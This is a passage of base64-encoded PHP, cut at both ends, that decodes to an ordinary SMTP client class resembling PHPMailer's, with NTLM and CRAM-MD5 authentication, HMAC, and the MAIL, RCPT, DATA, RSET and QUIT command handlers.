G50bG1fY2xpZW50LT5UeXBlTXNnMSgkcmVhbG0sICR3b3Jrc3RhdGlvbik7Ly9tc2cxCgogICAgICAgICR0aGlzLT5jbGllbnRfc2VuZCgnQVVUSCBOVExNICcgLiBiYXNlNjRfZW5jb2RlKCRtc2cxKSAuICR0aGlzLT5DUkxGKTsKCiAgICAgICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAgICAgJGNvZGUgPSBzdWJzdHIoJHJwbHksIDAsIDMpOwoKICAgICAgICBpZigkY29kZSAhPSAzMzQpIHsKICAgICAgICAgICAgJHRoaXMtPmVycm9yID0KICAgICAgICAgICAgICAgIGFycmF5KCdlcnJvcicgPT4gJ0FVVEggbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAgICAgICAgICdzbXRwX2NvZGUnID0+ICRjb2RlLAogICAgICAgICAgICAgICAgICAgICAgJ3NtdHBfbXNnJyA9PiBzdWJzdHIoJHJwbHksIDQpKTsKICAgICAgICAgICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDEpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CgogICAgICAgICRjaGFsbGVuZ2UgPSBzdWJzdHIoJHJwbHksIDMpOy8vdGhvdWdoIDAgYmFzZWQsIHRoZXJlIGlzIGEgd2hpdGUgc3BhY2UgYWZ0ZXIgdGhlIDMgZGlnaXQgbnVtYmVyLi4uLi8vbXNnMgogICAgICAgICRjaGFsbGVuZ2UgPSBiYXNlNjRfZGVjb2RlKCRjaGFsbGVuZ2UpOwogICAgICAgICRudGxtX3JlcyA9ICRudGxtX2NsaWVudC0+TlRMTVJlc3BvbnNlKHN1YnN0cigkY2hhbGxlbmdlLCAyNCwgOCksICRwYXNzd29yZCk7CiAgICAgICAgJG1zZzMgPSAkbnRsbV9jbGllbnQtPlR5cGVNc2czKCRudGxtX3JlcywgJHVzZXJuYW1lLCAkcmVhbG0sICR3b3Jrc3RhdGlvbik7Ly9tc2czCiAgICAgICAgJHRoaXMtPmNsaWVudF9zZW5kKGJhc2U2NF9lbmNvZGUoJG1zZzMpIC4gJHRoaXMtPkNSTEYpOwoKICAgICAgICAkcnBseSA9ICR0aGlzLT5nZXRfbGluZXMoKTsKICAgICAgICAkY29kZSA9IHN1YnN0cigkcnBseSwgMCwgMyk7CgogICAgICAgIGlmKCRjb2RlICE9IDIzNSkgewogICAgICAgICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgICAgICAgICAgYXJyYXkoJ2Vycm9yJyA9PiAnQ291bGQgbm90IGF1dGhlbnRpY2F0ZScsCiAgICAgICAgICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgICAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEVSUk9SOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddIC4gJzogJyAuICRycGx5KTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGJyZWFrOwogICAgICBjYXNlICdDUkFNLU1ENSc6CiAgICAgICAgJHRoaXMtPmNsaWVudF9zZW5kKCdBVVRIIENSQU0tTUQ1JyAuICR0aGlzLT5DUkxGKTsKCiAgICAgICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAgICAgJGNvZGUgPSBzdWJzdHIoJHJwbHksIDAsIDMpOwoKICAgICAgICBpZigkY29kZSAhPSAzMzQpIHsKICAgICAgICAgICR0aGlzLT5lcnJvciA9CiAgICAgICAgICAgIGFycmF5KCdlcnJvcicgPT4gJ0FVVEggbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAgICAgJ3NtdHBfY29kZScgPT4gJGNvZGUsCiAgICAgICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEVSUk9SOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddIC4gJzogJyAuICRycGx5KTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJGNoYWxsZW5nZSA9IGJhc2U2NF9kZWNvZGUoc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgICAgJHJlc3BvbnNlID0gJHVzZXJuYW1lIC4gJyAnIC4gJHRoaXMtPmhtYWMoJGNoYWxsZW5nZSwgJHBhc3N3b3JkKTsKICAgICAgICAkdGhpcy0+Y2xpZW50X3NlbmQoYmFzZTY0X2VuY29kZSgkcmVzcG9uc2UpIC4gJHRoaXMtPkNSTEYpOwogICAgICAgICRycGx5ID0gJHRoaXMtPmdldF9saW5lcygpOwogICAgICAgICRjb2RlID0gc3Vic3RyKCRycGx5LCAwLCAzKTsKCiAgICAgICAgaWYoJGNvZGUgIT0gMjM1KSB7CiAgICAgICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgICAgICBhcnJheSgnZXJyb3InID0+ICdDcmVkZW50aWFscyBub3QgYWNjZXB0ZWQgZnJvbSBzZXJ2ZXInLAogICAgICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAgICAgJ3NtdHBfbXNnJyA9PiBzdWJzdHIoJHJwbHksIDQpKTsKICAgICAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICAgICAgfQogICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBicmVhazsKICAgIH0KICAgIHJldHVybiB0cnVlOwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIGhtYWMoJGRhdGEsICRrZXkpIHsKICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnaGFzaF9obWFjJykpIHsKICAgICAgICAgIHJldHVybiBoYXNoX2htYWMoJ21kNScsICRkYXRhLCAka2V5KTsKICAgICAgfQogICAgICAkYiA9IDY0OyAvLyBieXRlIGxlbmd0aCBmb3IgbWQ1CiAgICAgIGlmIChzdHJsZW4oJGtleSkgPiAkYikgewogICAgICAgICAgJGtleSA9IHBhY2soJ0gqJywgbWQ1KCRrZXkpKTsKICAgICAgfQogICAgICAka2V5ICA9IHN0cl9wYWQoJGtleSwgJGIsIGNocigweDAwKSk7CiAgICAgICRpcGFkID0gc3RyX3BhZCgnJywgJGIsIGNocigweDM2KSk7CiAgICAgICRvcGFkID0gc3RyX3BhZCgnJywgJGIsIGNocigweDVjKSk7CiAgICAgICRrX2lwYWQgPSAka2V5IF4gJGlwYWQgOwogICAgICAka19vcGFkID0gJGtleSBeICRvcGFkOwoKICAgICAgcmV0dXJuIG1kNSgka19vcGFkICAuIHBhY2soJ0gqJywgbWQ1KCRrX2lwYWQgLiAkZGF0YSkpKTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBDb25uZWN0ZWQoKSB7CiAgICBpZighZW1wdHkoJHRoaXMtPnNtdHBfY29ubikpIHsKICAgICAgJHNvY2tfc3RhdHVzID0gc3RyZWFtX2dldF9tZXRhX2RhdGEoJHRoaXMtPnNtdHBfY29ubik7CiAgICAgIGlmKCRzb2NrX3N0YXR1c1snZW9mJ10pIHsKICAgICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IE5PVElDRTogRU9GIGNhdWdodCB3aGlsZSBjaGVja2luZyBpZiBjb25uZWN0ZWQnKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPkNsb3NlKCk7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICB9CiAgICAgIHJldHVybiB0cnVlOyAvLyBldmVyeXRoaW5nIGxvb2tzIGdvb2QKICAgIH0KICAgIHJldHVybiBmYWxzZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBDbG9zZSgpIHsKICAgICR0aGlzLT5lcnJvciA9IG51bGw7IC8vIHNvIHRoZXJlIGlzIG5vIGNvbmZ1c2lvbgogICAgJHRoaXMtPmhlbG9fcnBseSA9IG51bGw7CiAgICBpZighZW1wdHkoJHRoaXMtPnNtdHBfY29ubikpIHsKICAgICAgLy8gY2xvc2UgdGhlIGNvbm5lY3Rpb24gYW5kIGNsZWFudXAKICAgICAgZmNsb3NlKCR0aGlzLT5zbXRwX2Nvbm4pOwogICAgICAkdGhpcy0+c210cF9jb25uID0gMDsKICAgIH0KICB9CgogIHB1YmxpYyBmdW5jdGlvbiBEYXRhKCRtc2dfZGF0YSkgewogICAgJHRoaXMtPmVycm9yID0gbnVsbDsgLy8gc28gbm8gY29uZnVzaW9uIGlzIGNhdXNlZAoKICAgIGlmKCEkdGhpcy0+Y29ubmVjdGVkKCkpIHsKICAgICAgJHRoaXMtPmVycm9yID0gYXJyYXkoCiAgICAgICAgICAgICAgJ2Vycm9yJyA9PiAnQ2FsbGVkIERhdGEoKSB3aXRob3V0IGJlaW5nIGNvbm5lY3RlZCcpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAkdGhpcy0+Y2xpZW50X3NlbmQoJ0RBVEEnIC4gJHRoaXMtPkNSTEYpOwogICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAkY29kZSA9IHN1YnN0cigkcnBseSwgMCwgMyk7CgogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDIpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBGUk9NIFNFUlZFUjonIC4gJHJwbHkpOwogICAgfQoKICAgIGlmKCRjb2RlICE9IDM1NCkgewogICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgIGFycmF5KCdlcnJvcicgPT4gJ0RBVEEgY29tbWFuZCBub3QgYWNjZXB0ZWQgZnJvbSBzZXJ2ZXInLAogICAgICAgICAgICAgICdzbXRwX2NvZGUnID0+ICRjb2RlLAogICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBFUlJPUjogJyAuICR0aGlzLT5lcnJvclsnZXJyb3InXSAuICc6ICcgLiAkcnBseSk7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgICRtc2dfZGF0YSA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJG1zZ19kYXRhKTsKICAgICRtc2dfZGF0YSA9IHN0cl9yZXBsYWNlKCJcciIsICJcbiIsICRtc2dfZGF0YSk7CiAgICAkbGluZXMgPSBleHBsb2RlKCJcbiIsICRtc2dfZGF0YSk7CiAgICAkZmllbGQgPSBzdWJzdHIoJGxpbmVzWzBdLCAwLCBzdHJwb3MoJGxpbmVzWzBdLCAnOicpKTsKICAgICRpbl9oZWFkZXJzID0gZmFsc2U7CiAgICBpZighZW1wdHkoJGZpZWxkKSAmJiAhc3Ryc3RyKCRmaWVsZCwgJyAnKSkgewogICAgICAkaW5faGVhZGVycyA9IHRydWU7CiAgICB9CgogICAgJG1heF9saW5lX2xlbmd0aCA9IDk5ODsgLy8gdXNlZCBiZWxvdzsgc2V0IGhlcmUgZm9yIGVhc2UgaW4gY2hhbmdlCgogICAgd2hpbGUobGlzdCgsICRsaW5lKSA9IEBlYWNoKCRsaW5lcykpIHsKICAgICAgJGxpbmVzX291dCA9IG51bGw7CiAgICAgIGlmKCRsaW5lID09ICcnICYmICRpbl9oZWFkZXJzKSB7CiAgICAgICAgJGluX2hlYWRlcnMgPSBmYWxzZTsKICAgICAgfQogICAgICB3aGlsZShzdHJsZW4oJGxpbmUpID4gJG1heF9saW5lX2xlbmd0aCkgewogICAgICAgICRwb3MgPSBzdHJycG9zKHN1YnN0cigkbGluZSwgMCwgJG1heF9saW5lX2xlbmd0aCksICcgJyk7CgogICAgICAgIGlmKCEkcG9zKSB7CiAgICAgICAgICAkcG9zID0gJG1heF9saW5lX2xlbmd0aCAtIDE7CiAgICAgICAgICAkbGluZXNfb3V0W10gPSBzdWJzdHIoJGxpbmUsIDAsICRwb3MpOwogICAgICAgICAgJGxpbmUgPSBzdWJzdHIoJGxpbmUsICRwb3MpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAkbGluZXNfb3V0W10gPSBzdWJzdHIoJGxpbmUsIDAsICRwb3MpOwogICAgICAgICAgJGxpbmUgPSBzdWJzdHIoJGxpbmUsICRwb3MgKyAxKTsKICAgICAgICB9CgogICAgICAgIGlmKCRpbl9oZWFkZXJzKSB7CiAgICAgICAgICAkbGluZSA9ICJcdCIgLiAkbGluZTsKICAgICAgICB9CiAgICAgIH0KICAgICAgJGxpbmVzX291dFtdID0gJGxpbmU7CgogICAgICB3aGlsZShsaXN0KCwgJGxpbmVfb3V0KSA9IEBlYWNoKCRsaW5lc19vdXQpKSB7CiAgICAgICAgaWYoc3RybGVuKCRsaW5lX291dCkgPiAwKQogICAgICAgIHsKICAgICAgICAgIGlmKHN1YnN0cigkbGluZV9vdXQsIDAsIDEpID09ICcuJykgewogICAgICAgICAgICAkbGluZV9vdXQgPSAnLicgLiAkbGluZV9vdXQ7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5jbGllbnRfc2VuZCgkbGluZV9vdXQgLiAkdGhpcy0+Q1JMRik7CiAgICAgIH0KICAgIH0KCiAgICAkdGhpcy0+Y2xpZW50X3NlbmQoJHRoaXMtPkNSTEYgLiAnLicgLiAkdGhpcy0+Q1JMRik7CgogICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAkY29kZSA9IHN1YnN0cigkcnBseSwgMCwgMyk7CgogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDIpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBGUk9NIFNFUlZFUjonIC4gJHJwbHkpOwogICAgfQoKICAgIGlmKCRjb2RlICE9IDI1MCkgewogICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgIGFycmF5KCdlcnJvcicgPT4gJ0RBVEEgbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAnc210cF9tc2cnID0+IHN1YnN0cigkcnBseSwgNCkpOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICB9CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIHJldHVybiB0cnVlOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIEhlbGxvKCRob3N0ID0gJycpIHsKICAgICR0aGlzLT5lcnJvciA9IG51bGw7IC8vIHNvIG5vIGNvbmZ1c2lvbiBpcyBjYXVzZWQKCiAgICBpZighJHRoaXMtPmNvbm5lY3RlZCgpKSB7CiAgICAgICR0aGlzLT5lcnJvciA9IGFycmF5KAogICAgICAgICAgICAnZXJyb3InID0+ICdDYWxsZWQgSGVsbG8oKSB3aXRob3V0IGJlaW5nIGNvbm5lY3RlZCcpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICBpZihlbXB0eSgkaG9zdCkpIHsKICAgICAgJGhvc3QgPSAnbG9jYWxob3N0JzsKICAgIH0KICAgIGlmKCEkdGhpcy0+U2VuZEhlbGxvKCdFSExPJywgJGhvc3QpKSB7CiAgICAgIGlmKCEkdGhpcy0+U2VuZEhlbGxvKCdIRUxPJywgJGhvc3QpKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICB9CiAgICB9CgogICAgcmV0dXJuIHRydWU7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gU2VuZEhlbGxvKCRoZWxsbywgJGhvc3QpIHsKICAgICR0aGlzLT5jbGllbnRfc2VuZCgkaGVsbG8gLiAnICcgLiAkaG9zdCAuICR0aGlzLT5DUkxGKTsKCiAgICAkcnBseSA9ICR0aGlzLT5nZXRfbGluZXMoKTsKICAgICRjb2RlID0gc3Vic3RyKCRycGx5LCAwLCAzKTsKCiAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMikgewogICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEZST00gU0VSVkVSOiAnIC4gJHJwbHkpOwogICAgfQoKICAgIGlmKCRjb2RlICE9IDI1MCkgewogICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgIGFycmF5KCdlcnJvcicgPT4gJGhlbGxvIC4gJyBub3QgYWNjZXB0ZWQgZnJvbSBzZXJ2ZXInLAogICAgICAgICAgICAgICdzbXRwX2NvZGUnID0+ICRjb2RlLAogICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBFUlJPUjogJyAuICR0aGlzLT5lcnJvclsnZXJyb3InXSAuICc6ICcgLiAkcnBseSk7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgICR0aGlzLT5oZWxvX3JwbHkgPSAkcnBseTsKCiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBNYWlsKCRmcm9tKSB7CiAgICAkdGhpcy0+ZXJyb3IgPSBudWxsOyAvLyBzbyBubyBjb25mdXNpb24gaXMgY2F1c2VkCgogICAgaWYoISR0aGlzLT5jb25uZWN0ZWQoKSkgewogICAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgKICAgICAgICAgICAgICAnZXJyb3InID0+ICdDYWxsZWQgTWFpbCgpIHdpdGhvdXQgYmVpbmcgY29ubmVjdGVkJyk7CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAkdXNlVmVycCA9ICgkdGhpcy0+ZG9fdmVycCA/ICcgWFZFUlAnIDogJycpOwogICAgJHRoaXMtPmNsaWVudF9zZW5kKCdNQUlMIEZST006PCcgLiAkZnJvbSAuICc+JyAuICR1c2VWZXJwIC4gJHRoaXMtPkNSTEYpOwoKICAgICRycGx5ID0gJHRoaXMtPmdldF9saW5lcygpOwogICAgJGNvZGUgPSBzdWJzdHIoJHJwbHksIDAsIDMpOwoKICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAyKSB7CiAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRlJPTSBTRVJWRVI6JyAuICRycGx5KTsKICAgIH0KCiAgICBpZigkY29kZSAhPSAyNTApIHsKICAgICAgJHRoaXMtPmVycm9yID0KICAgICAgICBhcnJheSgnZXJyb3InID0+ICdNQUlMIG5vdCBhY2NlcHRlZCBmcm9tIHNlcnZlcicsCiAgICAgICAgICAgICAgJ3NtdHBfY29kZScgPT4gJGNvZGUsCiAgICAgICAgICAgICAgJ3NtdHBfbXNnJyA9PiBzdWJzdHIoJHJwbHksIDQpKTsKICAgICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDEpIHsKICAgICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEVSUk9SOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddIC4gJzogJyAuICRycGx5KTsKICAgICAgfQogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBRdWl0KCRjbG9zZV9vbl9lcnJvciA9IHRydWUpIHsKICAgICR0aGlzLT5lcnJvciA9IG51bGw7IC8vIHNvIHRoZXJlIGlzIG5vIGNvbmZ1c2lvbgoKICAgIGlmKCEkdGhpcy0+Y29ubmVjdGVkKCkpIHsKICAgICAgJHRoaXMtPmVycm9yID0gYXJyYXkoCiAgICAgICAgICAgICAgJ2Vycm9yJyA9PiAnQ2FsbGVkIFF1aXQoKSB3aXRob3V0IGJlaW5nIGNvbm5lY3RlZCcpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHRoaXMtPmNsaWVudF9zZW5kKCdxdWl0JyAuICR0aGlzLT5DUkxGKTsKICAgICRieWVtc2cgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CgogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDIpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBGUk9NIFNFUlZFUjonIC4gJGJ5ZW1zZyk7CiAgICB9CgogICAgJHJ2YWwgPSB0cnVlOwogICAgJGUgPSBudWxsOwoKICAgICRjb2RlID0gc3Vic3RyKCRieWVtc2csIDAsIDMpOwogICAgaWYoJGNvZGUgIT0gMjIxKSB7CiAgICAgICRlID0gYXJyYXkoJ2Vycm9yJyA9PiAnU01UUCBzZXJ2ZXIgcmVqZWN0ZWQgcXVpdCBjb21tYW5kJywKICAgICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAgICAnc210cF9ycGx5JyA9PiBzdWJzdHIoJGJ5ZW1zZywgNCkpOwogICAgICAkcnZhbCA9IGZhbHNlOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkZVsnZXJyb3InXSAuICc6ICcgLiAkYnllbXNnKTsKICAgICAgfQogICAgfQoKICAgIGlmKGVtcHR5KCRlKSB8fCAkY2xvc2Vfb25fZXJyb3IpIHsKICAgICAgJHRoaXMtPkNsb3NlKCk7CiAgICB9CgogICAgcmV0dXJuICRydmFsOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFJlY2lwaWVudCgkdG8pIHsKICAgICR0aGlzLT5lcnJvciA9IG51bGw7IC8vIHNvIG5vIGNvbmZ1c2lvbiBpcyBjYXVzZWQKCiAgICBpZighJHRoaXMtPmNvbm5lY3RlZCgpKSB7CiAgICAgICR0aGlzLT5lcnJvciA9IGFycmF5KAogICAgICAgICAgICAgICdlcnJvcicgPT4gJ0NhbGxlZCBSZWNpcGllbnQoKSB3aXRob3V0IGJlaW5nIGNvbm5lY3RlZCcpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHRoaXMtPmNsaWVudF9zZW5kKCdSQ1BUIFRPOjwnIC4gJHRvIC4gJz4nIC4gJHRoaXMtPkNSTEYpOwoKICAgICRycGx5ID0gJHRoaXMtPmdldF9saW5lcygpOwogICAgJGNvZGUgPSBzdWJzdHIoJHJwbHksIDAsIDMpOwoKICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAyKSB7CiAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRlJPTSBTRVJWRVI6JyAuICRycGx5KTsKICAgIH0KCiAgICBpZigkY29kZSAhPSAyNTAgJiYgJGNvZGUgIT0gMjUxKSB7CiAgICAgICR0aGlzLT5lcnJvciA9CiAgICAgICAgYXJyYXkoJ2Vycm9yJyA9PiAnUkNQVCBub3QgYWNjZXB0ZWQgZnJvbSBzZXJ2ZXInLAogICAgICAgICAgICAgICdzbXRwX2NvZGUnID0+ICRjb2RlLAogICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBFUlJPUjogJyAuICR0aGlzLT5lcnJvclsnZXJyb3InXSAuICc6ICcgLiAkcnBseSk7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgcmV0dXJuIHRydWU7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gUmVzZXQoKSB7CiAgICAkdGhpcy0+ZXJyb3IgPSBudWxsOyAvLyBzbyBubyBjb25mdXNpb24gaXMgY2F1c2VkCgogICAgaWYoISR0aGlzLT5jb25uZWN0ZWQoKSkgewogICAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgnZXJyb3InID0+ICdDYWxsZWQgUmVzZXQoKSB3aXRob3V0IGJlaW5nIGNvbm5lY3RlZCcpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHRoaXMtPmNsaWVudF9zZW5kKCdSU0VUJyAuICR0aGlzLT5DUkxGKTsKCiAgICAkcnBseSA9ICR0aGlzLT5nZXRfbGluZXMoKTsKICAgICRjb2RlID0gc3Vic3RyKCRycGx5LCAwLCAzKTsKCiAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMikgewogICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEZST00gU0VSVkVSOicgLiAkcnBseSk7CiAgICB9CgogICAgaWYoJGNvZGUgIT0gMjUwKSB7CiAgICAgICR0aGlzLT5lcnJvciA9CiAgICAgICAgYXJyYXkoJ2Vycm9yJyA9PiAnUlNFVCBmYWlsZWQnLAogICAgICAgICAgICAgICdzbXRwX2NvZGUnID0+ICRjb2RlLAogICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBFUlJPUjogJyAuICR0aGlzLT5lcnJvclsnZXJyb3InXSAuICc6ICcgLiAkcnBseSk7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIHJldHVybiB0cnVlOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFNlbmRBbmRNYWlsKCRmcm9tKSB7CiAgICAkdGhpcy0+ZXJyb3IgPSBudWxsOyAvLyBzbyBubyBjb25mdXNpb24gaXMgY2F1c2VkCgogICAgaWYoISR0aGlzLT5jb25uZWN0ZWQoKSkgewogICAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgKICAgICAgICAgICdlcnJvcicgPT4gJ0NhbGxlZCBTZW5kQW5kTWFpbCgpIHdpdGhvdXQgYmVpbmcgY29ubmVjdGVkJyk7CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAkdGhpcy0+Y2xpZW50X3NlbmQoJ1NBTUwgRlJPTTonIC4gJGZyb20gLiAkdGhpcy0+Q1JMRik7CgogICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAkY29kZSA9IHN1YnN0cigkcnBseSwgMCwgMyk7CgogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDIpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBGUk9NIFNFUlZFUjonIC4gJHJwbHkpOwogICAgfQoKICAgIGlmKCRjb2RlICE9IDI1MCkgewogICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgIGFycmF5KCdlcnJvcicgPT4gJ1NBTUwgbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAnc210cF9tc2cnID0+IHN1YnN0cigkcnBseSwgNCkpOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICB9CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIHJldHVybiB0cnVlOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFR1cm4oKSB7CiAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgnZXJyb3InID0+ICdUaGlzIG1ldGhvZCwgVFVSTiwgb2YgdGhlIFNNVFAgJy4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2lzIG5vdCBpbXBsZW1lbnRlZCcpOwogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDEpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBOT1RJQ0U6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10pOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIGNsaWVudF9zZW5kKCRkYXRhKSB7CiAgICAgIGlmICgkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICAgJHRoaXMtPmVkZWJ1ZygiQ0xJRU5UIC0+IFNNVFA6ICRkYXRhI